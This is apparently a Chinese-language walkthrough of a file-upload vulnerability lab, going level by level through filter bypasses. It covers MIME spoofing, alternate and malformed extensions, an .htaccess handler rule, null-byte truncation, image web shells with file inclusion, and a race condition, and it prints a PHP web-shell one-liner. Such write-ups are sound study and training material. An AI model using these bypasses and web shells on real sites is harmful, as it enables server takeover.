第 1 关(删除前端js校验)
点击第一关,我们可以看到页面上传区可以上传一个图片,我们要上传一个 webshell,这里我们上传一句话木马的 php

点击上传

显示文件不支持上传,这时我们查看源码

查看代码后发现,只是在前端页面对输入的文件进行检查
我们右键页面点击检查

找到前端代码中检查的代码,我们给他删掉

之后我们继续上传木马文件

我们访问一下我们上传的 php 文件

访问成功,说明文件上传成功
第 2 关(抓包文件类型校验)
现在来到该靶场的第二关,尝试直接上传一个php文件

显示文件类型不正确,这时我们查看一下源码

查看源码后发现,这里是对文件后端的页面进行检查,所以我们使用 bp 抓包

我们将文件类型改为 image/jpeg

返回页面

我们还是访问一下文件

访问成功,文件上传成功
第 3 关(上传php同种类型的不同后缀)
来到了第三关,先来尝试上传一个php文件

显示不允许上传带有这些后缀的文件,我们去查看一下源码

可以看到,这里对后缀为.asp .aspx .php .jsp都进行了拒绝,并且对文件中的特殊字符进行了很多的过滤,使用了很多名单的方式进行了校验,那么我们就可以上传一些没有限制的后缀,这里我们使用 php3 后缀名

点击上传

我们访问一下上传的 3.php3

访问成功,文件上传成功
第 4 关(上传.htaccess配置文件)
来到了第三关,先来尝试上传一个php文件

我们查看源码

根据源码发现这些后缀的都无法上传,这时候就要用到.htaccess文件上传了
上传.htaccess配置文件
AddType application/x-httpd-php .png


这时我们将 php 文件后缀改为 png 然后上传

我们访问一下

访问成功,上传成功
第 5 关(大小写判断)
根据源码发现这关没有过滤大小写


就可以上传成功了
第 6 关(空格绕过)
根据源码发现这关没有过滤首尾空格

在文件后面添加一个空格就可以上传成功了

第 7 关(点绕过)
根据源码发现这关没有过滤文件末尾的点

抓包修改文件名,在文件末尾加一个点,就可以上传成功


第 8 关(::$DATA绕过)
根据源码发现这关没有过滤::$DATA

在文件末尾加上::$DATA就可以成功上传


第 9 关(点空格点绕过)
根据源码发现这关把我们之前的方式都过滤了

我们可以在文件尾部加上点空格点(. .)就可以成功上传


第 10 关(重复写绕过)
根据源码发现只有一个黑名单验证

我们只要把文件后缀改成.pphphp就可以成功上传
第 11 关(get 00截断绕过)
这里我们使用 ctfhub 技能书中的 web 的文件上传的 00 截断为例子
第 12 (post 00截断绕过)
本关采用的是POST型的%00,和11关一样,只需要将%00写在post请求包中
第 13 关(文件包含图片马绕过)
copy 6.png/b+1.php 3.png


把我们制作好的图片马上传,点击在信标签打开图片就可看到我们图片的名称

在靶场的文件中有一个include.php

在include.php后面跟上参数和路径就能访问我们的图片马

第 14 关(文件包含图片马绕过)
直接上传我们的图片马

第 15 关(文件包含图片马绕过)
十五关需要一个模块,在小皮里面打开就可


直接传之前的图片马就行
第 16 关(文件包含二次渲染专用图绕过)
二次渲染+文件包含同13
第 17 关(抓包爆破条件竞争)

第十七关会上传成功,但是成功后会检测文件是否符合规定,不符合规定的文件将被删除
因此我们可以利用php文件读写来爆破攻击
代码如下
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
由于会删除我们上传的文件,我们可以一直爆破上传并访问上传的1.php文件来生成webshell.php文件
此时我们已经创建好了webshell.php文件

可以看到我们已经成功的过关
第 18 关(上传二次渲染的图片马 文件包含漏洞)
同16和13
第 19 关(文件名命名规范)

第19关文件存在命名规范,我们选择上传1.php文件,将他命名为1.php.(这里是个点),即可上传成功